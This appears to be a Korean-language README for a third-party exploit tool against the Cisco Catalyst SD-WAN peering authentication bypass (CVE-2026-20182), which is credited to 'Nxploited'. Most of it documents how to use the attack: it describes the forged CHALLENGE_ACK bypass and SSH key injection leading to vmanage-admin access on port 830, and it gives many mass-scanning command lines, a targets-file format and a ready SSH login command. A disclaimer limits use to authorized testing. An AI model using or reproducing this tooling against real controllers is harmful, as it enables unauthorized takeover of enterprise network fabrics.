
시스코 Catalyst SD-WAN 피어링 인증 우회
Cisco Catalyst SD-WAN 피어링 인증 우회
Cisco Catalyst SD-WAN Controller / Manager 피어링 인증 우회(CVE-2026-20182)에 대한 공인된 테스트용 평가 도구
| CVE | CVE-2026-20182 |
| 심각도 | 심각 (CVSS 10.0) |
| CVSS 3.1 | AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| 제품 | Cisco Catalyst SD-WAN Controller (구 vSmart) · Cisco Catalyst SD-WAN Manager (구 vManage) |
| 문제 | 피어링 인증 메커니즘이 올바르게 적용되지 않음 |
| 스크립트 | CVE-2026-20182.py |
2026년 5월 권고: 컨트롤 연결 핸드셰이킹/피어링 인증의 결함으로 인해 인증되지 않은 원격 공격자가 인증을 우회하고 영향을 받는 시스템에 고권한 내부 액세스를 획득할 수 있습니다.
공격자는 영향받는 시스템에 조작된 요청을 전송합니다. 성공 시, 공격자는 내부 고권한 비‑root 계정으로 인증하고 NETCONF에 도달하여 SD-WAN 패브릭 구성을 조작할 수 있습니다.
권장 사항: 공식 공급업체 지침에 따라 Cisco 보안 패치를 적용하십시오. 관리 플레인 노출을 제한하고, 컨트롤 플레인 연결을 모니터링하며, 무단 구성 변경이 있는지 SD-WAN 컨트롤러를 감사하십시오.
Telegram: @KNxploited
CVE-2026-20182.pyCisco SD‑WAN vdaemon(UDP/DTLS 12346)에 대한 CVE-2026-20182 Python 3 익스플로잇 프레임워크.
패브릭 폴백: TEAR_DOWN 또는 매개변수 불일치 시 --no-fallback이 없으면 대체 domain/site 프리셋 (1,100), (1,1), (0,0) 재시도.
중요
check 모드 → 최대 계층 03(우회 프로브). 전체 익스플로잇 증거가 아닙니다.full 모드 → 계층 01(ssh_verified) 목표.https://host → TCP 웹 힌트만(80/443). 443의 UDP DTLS가 아닙니다.pip install -r requirements.txt
Windows
bin\을 PATH에 추가하거나 다음 설정:OPENSSL_HOME=C:\Program Files\OpenSSL-Win64
Linux
# Debian/Ubuntu
sudo apt install libssl3 openssl
export LD_LIBRARY_PATH=/usr/lib/x86_64-linux-gnu:$LD_LIBRARY_PATH
도구는 OpenSSL을 로드할 수 없으면 시작 시 종료됩니다.
python CVE-2026-20182.py
0 = SCAN 시작check(안전한 우회 프로브)python CVE-2026-20182.py -y
CHECK — 우회 프로브만
python CVE-2026-20182.py -y --mode check
FULL — 키 주입 + SSH 확인 (승인된 대상만)
python CVE-2026-20182.py -y --mode full
-f / --file — 대상 목록 (기본값: targets.txt)
python CVE-2026-20182.py -y -f my_controllers.txt --mode check
-t / --threads — 작업자 스레드 (1–200, 기본값 12)
python CVE-2026-20182.py -y -f targets.txt -t 30 --mode check
--domain — 목록에 없을 때 기본 DOMAIN_ID (기본값: 1)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 100 --mode check
--site — 목록에 없을 때 기본 SITE_ID (기본값: 100)
python CVE-2026-20182.py -y -f targets.txt --domain 1 --site 50 --mode full
--mode — check | full
python CVE-2026-20182.py -y --mode full -f targets.txt
-y / --yes — 대화형 메뉴 건너뛰기; CLI 값만 사용
python CVE-2026-20182.py -y -f targets.txt --mode check -t 20
--no-ssh-verify — 주입 후 SSH 테스트 건너뛰기 (전체 모드에서 권장되지 않음)
python CVE-2026-20182.py -y --mode full --no-ssh-verify -f targets.txt
--verify-ssh22 — 830 후 TCP 22도 시도
python CVE-2026-20182.py -y --mode full --verify-ssh22 -f targets.txt
--no-try-list-udp — UDP 12346만; 목록의 :port 무시
python CVE-2026-20182.py -y --no-try-list-udp -f targets.txt --mode check
--extra-udp-ports — 실험실: 모든 호스트에 추가 UDP 포트
python CVE-2026-20182.py -y --extra-udp-ports 8080,8443 -f targets.txt --mode check
--no-fallback — TEAR_DOWN 시 domain/site 재시도 비활성화
python CVE-2026-20182.py -y --no-fallback -f targets.txt --mode full
-v / --verbose — 각 프로토콜 TX/RX 메시지 로그
python CVE-2026-20182.py -y -v -f targets.txt --mode check
-y를 생략한 경우)targets.txt 형식한 줄에 하나의 대상. #으로 시작하는 줄은 무시됩니다.
예제 파일
# 실험실 컨트롤러 — 승인된 대상만
10.10.10.1
10.10.10.2:12346:1:100
https://sdwan-controller.example.com
10.10.10.4:12346:1:1
지원되지 않음: IPv6 (IPv4 / 호스트명만).
예제 SSH 명령 (계층 01)
ssh -i "sdwan_keys/sdwan_10_10_10_1_12346_d1_s100.pem" [email protected] -p 830 -N
python CVE-2026-20182.py -y -f targets.txt --mode check -t 24
cisco_sdwan_03_bypass_only.jsonl 및 실시간 통계 Bypass only를 검토하십시오.
python CVE-2026-20182.py -y -f confirmed_hosts.txt --mode full -t 8
cisco_sdwan_01_confirmed_ssh.jsonl 을 검토하십시오. ssh_verified: true가 있는 유일한 파일입니다.
python CVE-2026-20182.py -y -f single.txt --mode full -t 1 -v --no-fallback
check — 자체적으로 키를 작성하거나 SSH를 증명하지 않습니다.full 모드에서만 ssh_verified=true.CHALLENGE_ACK 후 자주 TEAR_DOWN 발생; 패브릭 폴백을 활성화하거나 목록에서 domain/site를 수정하십시오.sdwan_keys/ 또는 스캔 결과를 커밋하지 마십시오.이 소프트웨어는 공인된 보안 연구, 방어적 평가 및 교육용으로만 사용됩니다.
소유하거나 운영하지 않는 시스템을 테스트하려면 명시적인 서면 허가를 받아야 합니다. 무단 시스템 액세스는 불법입니다. 작성자는 이 도구 사용으로 인한 오용, 손해 또는 법적 결과에 대해 책임을 지지 않습니다.
보안 테스트를 수행할 권한이 명시적으로 부여된 시스템 및 네트워크에서만 사용하십시오.
작성자: Nxploited (Khaled Alenazi)
| 항목 | 세부사항 |
|---|
| 공격 벡터 | 네트워크 |
| 필요 권한 | 없음 |
| 사용자 상호작용 | 없음 |
| 범위 | 변경됨 |
| 영향 | 기밀성, 무결성, 가용성 — 높음 |
| 단계 | 단계 이름 | 설명 |
|---|
| 1 | 대상 로드 | targets.txt를 구문 분석하고 (host, domain_id, site_id) 기준 중복을 병합 |
| 2 | OpenSSL 사전 확인 | 커스텀 DTLS를 위해 OpenSSL 3.x/4.x 공유 라이브러리 로드 |
| 3 | DTLS 연결 | 대상 UDP 포트(항상 12346 먼저, 그 후 선택적 목록 포트)에 연결 |
| 4 | CHALLENGE | 서버 CHALLENGE(0x08) 수신 |
| 5 | CHALLENGE_ACK | vHub(유형 2) 로 조작된 CHALLENGE_ACK 전송 — 인증 우회 |
| 6 | Hello | Hello 교환 완료 — 우회 경로 확인 |
| 7a | CHECK 모드 | 여기서 중단 — 우회 / Hello OK만 기록(키 없음, SSH 없음) |
| 7b | FULL 모드 | VMANAGE_TO_PEER를 통해 SSH 공개 키 주입 |
| 8 | Inject ACK | 프로토콜 확인으로 REGISTER_TO_VMANAGE(0x0D) 예상 |
| 9 | SSH 확인 | TCP 830(NETCONF), 선택적으로 22에서 vmanage-admin으로 로그인 테스트 |
| 10 | 출력 | 결과를 계층 파일 + 사람이 읽을 수 있는 명령 목록으로 정렬 |
| 계층 | 파일 | 의미 |
|---|
| 01 — SSH 확인됨 | cisco_sdwan_01_confirmed_ssh.jsonl | ssh_verified=true — 전체 침해 증거로 간주되는 유일한 계층 |
| 02 — Inject ACK만 | cisco_sdwan_02_inject_ack_only.jsonl | 프로토콜이 키 주입을 수락함; SSH 로그인 실패 |
| 03 — 우회만 | cisco_sdwan_03_bypass_only.jsonl | Hello/우회 OK; 주입 확인 안 됨 |
| 요구 사항 | 참고 |
|---|
| Python | 3.9+ |
| pip | cryptography, rich |
| OpenSSL | 3.x 또는 4.x 공유 라이브러리(libssl + libcrypto) — 필수 |
| 모드 | 플래그 | SSH 주입 | SSH 확인 | 사용 시기 |
|---|
| CHECK | --mode check (기본값) | 아니오 | 아니오 | 대량 스크리닝, 우회 탐지 |
| FULL | --mode full | 예 | 예(--no-ssh-verify가 없는 경우) | 침해 증명 |
| # | 옵션 |
|---|
| 1 | 대상 파일 |
| 2 | 작업자 스레드 |
| 3 | 기본 DOMAIN_ID |
| 4 | 기본 SITE_ID |
| 5 | 모드: check / full |
| 6 | TEAR_DOWN 시 패브릭 자동 재시도 |
| 7 | 상세 프로토콜 로그 |
| 8 | 주입 후 SSH 확인 |
| 9 | SSH :22도 확인 |
| 10 | 명시적 목록 UDP 포트 시도 |
| 11 | 추가 UDP 포트 (실험실) |
| 12 | 목록 형식 도움말 표시 |
| 0 | ▶ SCAN 시작 |
| 형식 | 예제 | 동작 |
|---|
| IP / 호스트명 | 10.0.0.1 | UDP 12346 + 기본 domain/site |
| IP + UDP 포트 | 10.0.0.2:12346 | 목록 UDP 포트도 시도 |
| IP + 포트 + domain + site | 10.0.0.3:12346:1:100 | 전체 패브릭 튜플 |
| HTTPS URL | https://10.0.0.4 | 호스트 + TCP 443 힌트만(UDP/443 아님) |
| HTTP URL | http://10.0.0.5 | TCP 80 힌트만 |
| UDP URL | udp://10.0.0.6:12346 | 명시적 UDP |
| 탭/쉼표 구분 | 10.0.0.7 12346 1 100 | 4‑필드 형식과 동일 |
| Key=value | 10.0.0.8;port=12346;domain=1;site=100 | 세미콜론 KV 구문 |
| 파일 | 내용 |
|---|
cisco_sdwan_results.jsonl | 시도당 원시 JSON 결과 |
cisco_sdwan_success.txt | 확인된 SSH 라인 (탭 구분) |
cisco_sdwan_01_confirmed_ssh.jsonl | 계층 01 — SSH 확인됨 |
cisco_sdwan_02_inject_ack_only.jsonl | 계층 02 — inject ACK, SSH 실패 |
cisco_sdwan_03_bypass_only.jsonl | 계층 03 — 우회 / Hello만 |
cisco_sdwan_commands.txt | 사람이 읽을 수 있는 SSH 명령 |
cisco_sdwan_findings.json | 세션 요약 + 개수 |
sdwan_keys/ | 생성된 개인 키 (전체 모드) |
| 카운터 | 의미 |
|---|
| 진행률 | 완료된 대상 / 전체 |
| SSH 확인됨 | 계층 01 개수 |
| Inject ACK | 계층 02 개수 |
| 우회만 | 계층 03 개수 |
| 실패 | 오류 / 우회 없음 |